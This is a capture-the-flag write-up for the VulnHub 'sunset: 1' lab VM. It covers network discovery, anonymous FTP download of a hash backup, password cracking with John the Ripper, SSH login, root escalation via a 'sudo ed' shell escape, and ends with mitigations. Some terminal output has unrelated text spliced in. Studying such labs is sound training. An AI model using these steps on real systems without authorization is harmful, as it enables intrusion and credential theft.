

VulnHub – sunset: 1

Proof of Concept (PoC) – From Initial Access to Root

1. Lab Setup & Objective

- **Target VM:** `sunset: 1` by `whitecr0wz` from VulnHub (vulnhub.com)
- **Attacker machine:** Kali Linux (same LAN / Host-Only network)
- **Goal:**
 1. Discover the target on the network
 2. Enumerate exposed services
 3. Gain a low-privilege shell
 4. Escalate to root and capture both flags (`user.txt` and `flag.txt`)

Note: This PoC focuses only on the attack path. You can add your screenshots at each major step (ARP scan, Nmap, FTP, John, SSH, sudo, root flag).

2. Network Discovery

First I identified the target IP using `arp-scan` on the local network.

```
sudo arp-scan -l
```

Output (relevant part):

```
192.168.1.153  08:00:27:07:f0:34    (Unknown)
```

- `192.168.1.153` was identified as the **target VM**.

```
(kali@kali)-[~]
$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:50:6f:d8, IPv4: 192.168.1.105
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1      60:83:e7:6e:16:78      (Unknown)
192.168.1.104   50:c2:e8:95:0b:37      (Unknown)
192.168.1.153   08:00:27:07:f0:34      (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.187 seconds (117.06 hosts/sec). 3 responded
```

3. Port Scanning & Service Enumeration

A full TCP port scan with default scripts and version detection:

```
sudo nmap -p- -sV -sC 192.168.1.153 --min-rate 10000
```

Key results:

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      pyftplib 1.5.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -rw-r--r-- 1 root root 1062 Jul 29 2019 backup
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10 (protocol 2.0)
```

Findings:

1. FTP (21/tcp)

- Running `pyftplib 1.5.5`
- **Anonymous login allowed**
- A readable file `backup` is present in the root directory

2. SSH (22/tcp)

- Running `OpenSSH 7.9p1` on Debian 10
- Likely used for interactive shell access once we get valid credentials

```
(kali@kali)-[~]
$ sudo nmap -p- -sV -sC 192.168.1.153 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 12:53 IST
Nmap scan report for 192.168.1.153
Host is up (0.00043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      pyftplib 1.5.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -rw-r--r-- 1 root    root      1062 Jul 29 2019 backup
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to: 192.168.1.153:21
|     Waiting for username.
|   TYPE: ASCII; STRUcture: File; MODE: Stream
|   Data connection closed.
| End of status.
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
|   2048 71:bd:fa:c5:8c:88:7c:22:14:c4:20:03:32:36:05:d6 (RSA)
|   256 35:92:8e:16:43:0c:39:88:8e:83:0d:e2:2c:a4:65:91 (ECDSA)
|_  256 45:c5:40:14:49:cf:80:3c:41:4f:bb:22:6c:80:1e:fe (ED25519)
MAC Address: 08:00:27:07:F0:34 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sudo
If the binary is allowed to run as superuser by 'sudo', it does not drop the elevated privileges and
may be used to access the file system, escalate or maintain privileged access.

Limited SUID
If the binary has the SUID bit set, it may be abused to access the file system, escalate or maintain
access with elevated privileges working as a SUID backdoor. If it is used to run commands (e.g., via
'sudo') it only works on systems like Debian (= Stretch) that allow the default
'sudo' to run with SUID privileges.
local SUID copy of the binary and runs it to maintain elevated privileges. To
SUID binary skip the first command and run the program using its original

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.60 seconds
```

4. Initial Access via Anonymous FTP

Since Nmap indicated anonymous FTP, I attempted to log in:

```
ftp 192.168.1.153
Name: anonymous
Password: <blank>
```

Directory listing:

```
-rw-r--r-- 1 root    root      1062 Jul 29 2019 backup
```

Downloaded the `backup` file:

```
get backup
```

Now locally:

```
ls
backup
cat backup
```

Contents of `backup` :

```
CREDENTIALS:
office:$6$$9ZYT.y.VI0M7cG9tVcPI.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.7
```

```
5I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.
datacenter:$6$$3QW/J4OIV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKM
iJ/6Ffyl33OFtBvCI7S4N1b8vIDyIF2hG2N0NN/
sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZ
b94.HjeTK1MLyBxw8PUeyzJszcwfh0qepG0
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrIU3fA/SJo7sP
DPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOIP/FM4.Qw1yIWP28ABx.YuOsi
RaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
```

Observation:

- This looks like a **password backup file** containing multiple **SHA-512 crypt hashes** (Linux `/etc/shadow` style), one of which belongs to user `sunset`.

```
(kali@kali) ~/sunset
└─$ ftp 192.168.1.153
Connected to 192.168.1.153.
220 pyftplib 1.5.5 ready.
Name (192.168.1.153:kali): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||44333|).
150 File status okay. About to open data connection.
-rw-r--r-- 1 root root 1062 Jul 29 2019 backup
226 Transfer complete.
ftp> get backup
local: backup remote: backup
229 Entering extended passive mode (|||60637|).
125 Data connection already open. Transfer starting.
100% |*****| 1062 82.93 KiB/s 00:00 ETA
226 Transfer complete.
1062 bytes received in 00:00 (78.68 KiB/s)
```

```
(kali@kali) ~/sunset
└─$ cat backup
CREENTIALS:

office:$6$9ZTY.V10M7cG9tVcPL.QZZi2XHOUZ9hLsiCr/avWTajSPHqws.7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.

datacenter:$6$3QW/J4OIV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vIDyIF2hG2N0NN/

sky:$6$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfh0qepG0

sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrIU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/

space:$6$4NccGQWPfiyfGKHgyhJBgiadOIP/FM4.Qw1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/
```

5. Offline Password Cracking with John the Ripper

From the list of hashes, I extracted the `sunset` hash into a separate file `pass.txt`:

```
nano pass.txt
# pasted:
$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrIU3fA/SJo7sPDPbP3
xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
```

Then I ran John:

```
john pass.txt
```

Output:

```
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$)
...
cheer14      (?)
1g 0:00:03:05 DONE ...
```

- Cracked password for `sunset` user: `cheer14`

```
(kali@kali)~[/sunset]
$ nano pass.txt
(sunset@kali)~[/sunset]
$ cat pass.txt
$6$406ThujdibTNU./R$NzquK0QRsbAUUSrHcpR2QrrLU3fA/SJo7sPDpbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
(sunset@kali)~[/sunset]
$ john pass.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
cheer14      (?)
1g 0:00:03:05 DONE 3/3 (2025-12-05 13:00) 0.005402g/s 1745p/s 1745c/s 1745C/s secrina..cariell
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

6. Gaining User Shell via SSH

With valid credentials `sunset : cheer14` , I connected over SSH:

```
ssh sunset@192.168.1.153
```

Login successful:

```
Linux sunset 4.19.0-5-amd64 ...

sunset@sunset:~$ ls
user.txt
sunset@sunset:~$ cat user.txt
5b5b8e9b01ef27a1cc0a2d5fa87d7190
```

- User flag** obtained: `5b5b8e9b01ef27a1cc0a2d5fa87d7190`

At this stage, I attempted to check access to the root directory:

```

sunset@sunset:~$ cd /
sunset@sunset:/$ ls
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lo
st+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz
vmlinuz.old

```

However, direct access to root's home folder was denied:

```

sunset@sunset:/$ cd root
-bash: cd: root: Permission denied

```

This confirmed that privilege escalation would be required to obtain the final flag.

```

(kali@kali)~[/sunset]
$ ssh sunset@192.168.1.153
The authenticity of host '192.168.1.153 (192.168.1.153)' can't be established.
ED25519 key fingerprint is SHA256:e3PU2YXc6mt/iNY1ClrQJ8kyxSV0xaIPzk8JqovA0y0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.153' (ED25519) to the list of known hosts.
sunset@192.168.1.153's password:
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software; the SUID bit set. It may be abused to access the file system, escalate or maintain
the exact distribution terms for each program are described in the /usr/share/doc/*/copyright.
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Sun Jul 28 20:52:38 2019 from 192.168.1.182
sunset@sunset:~$ ls
user.txt
sunset@sunset:~$ cat user.txt
5b5b8e9b01ef27a1cc0a2d5fa87d7190
sunset@sunset:~$ cd /
sunset@sunset:/$ ls
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
sunset@sunset:/$ cd root
-bash: cd: root: Permission denied

```

7. Privilege Escalation

7.1. Checking sudo Permissions

From the user shell, I checked allowed sudo commands:

```
sudo -l
```

Result:

```

User sunset may run the following commands on sunset:
(root) NOPASSWD: /usr/bin/ed

```

- User `sunset` can run `/usr/bin/ed` as **root** without a password.
- `ed` is a line editor that can be abused to escape to a shell (documented on GTFOBins). ([Hacking Articles](#))

```
sunset@sunset:/$ sudo -l
Matching Defaults entries for sunset on sunset:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sunset may run the following commands on sunset:
  (root) NOPASSWD: /usr/bin/ed
```

7.2. Abusing ed via GTFOBins

According to GTFOBins, the privilege escalation pattern for `ed` is:

```
sudo ed
!/bin/sh
```

I executed:

```
sudo ed
!/bin/sh
```

Now I had a root shell:

```
# whoami
root
```

```
sunset@sunset:/$ sudo ed
!/bin/sh
# ls
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
# whoami
root
```

8. Root Flag

From the root shell:

```
# cd /root
# ls
flag.txt ftp server.sh
# cat flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe
```

- **Root flag:** `25d7ce0ee3cbf71efbac61f85d0c14fe`

```
# cd root
# ls
flag.txt  ftp  server.sh
# cat flag.txt
25d7ce0ee3cbf71efbac61f85d0c14fe
```

9. Summary of Attack Path

1. Discovery

- Used `arp-scan` to identify the target IP: `192.168.1.153` .

2. Service Enumeration

- Nmap revealed:
 - FTP (`pyftplib 1.5.5`) with **anonymous login**.
 - SSH (OpenSSH 7.9p1) for remote shell.

3. Initial Foothold

- Logged into FTP as `anonymous` and downloaded `backup` .
- `backup` contained multiple password hashes, including for user `sunset` .

4. Credential Attack

- Cracked the `sunset` hash using John the Ripper → `cheer14` .

5. User Shell

- Logged in via SSH using `sunset : cheer14` .
- Retrieved the **user flag** from `~/user.txt` .

6. Privilege Escalation

- `sudo -l` showed `NOPASSWD: /usr/bin/ed` .
- Exploited `ed` using `sudo ed` → `!/bin/sh` to get a root shell.

7. Root Access

- Read `/root/flag.txt` and completed the challenge.

10. Mitigations (Defensive Perspective)

From a defender's point of view, the main issues and fixes would be:

1. Misconfigured FTP Service

- Disable anonymous FTP access unless absolutely necessary.

- Avoid storing sensitive credentials (hashes, backups) in FTP-accessible paths.
- Restrict FTP to internal admin networks only.

2. Credential Management

- Enforce strong, unique passwords and consider password rotation.
- Use multi-factor authentication for SSH where possible.
- Treat hash backups (`backup` file) as sensitive and limit access.

3. Least Privilege & sudo Hardening

- Avoid giving `NOPASSWD` sudo rights for unsafe binaries like editors, pagers, interpreters (e.g., `vim` , `less` , `ed` , `python`).
- Use `sudo` for very specific commands that cannot easily break out to a shell.

4. Monitoring & Detection

- Monitor for:
 - Anonymous FTP logins
 - High-volume login attempts (password cracking online)
 - Unusual sudo usage (e.g., `sudo ed` , `sudo vi`).
 - Enable and centralize logging for SSH, sudo, and FTP.
-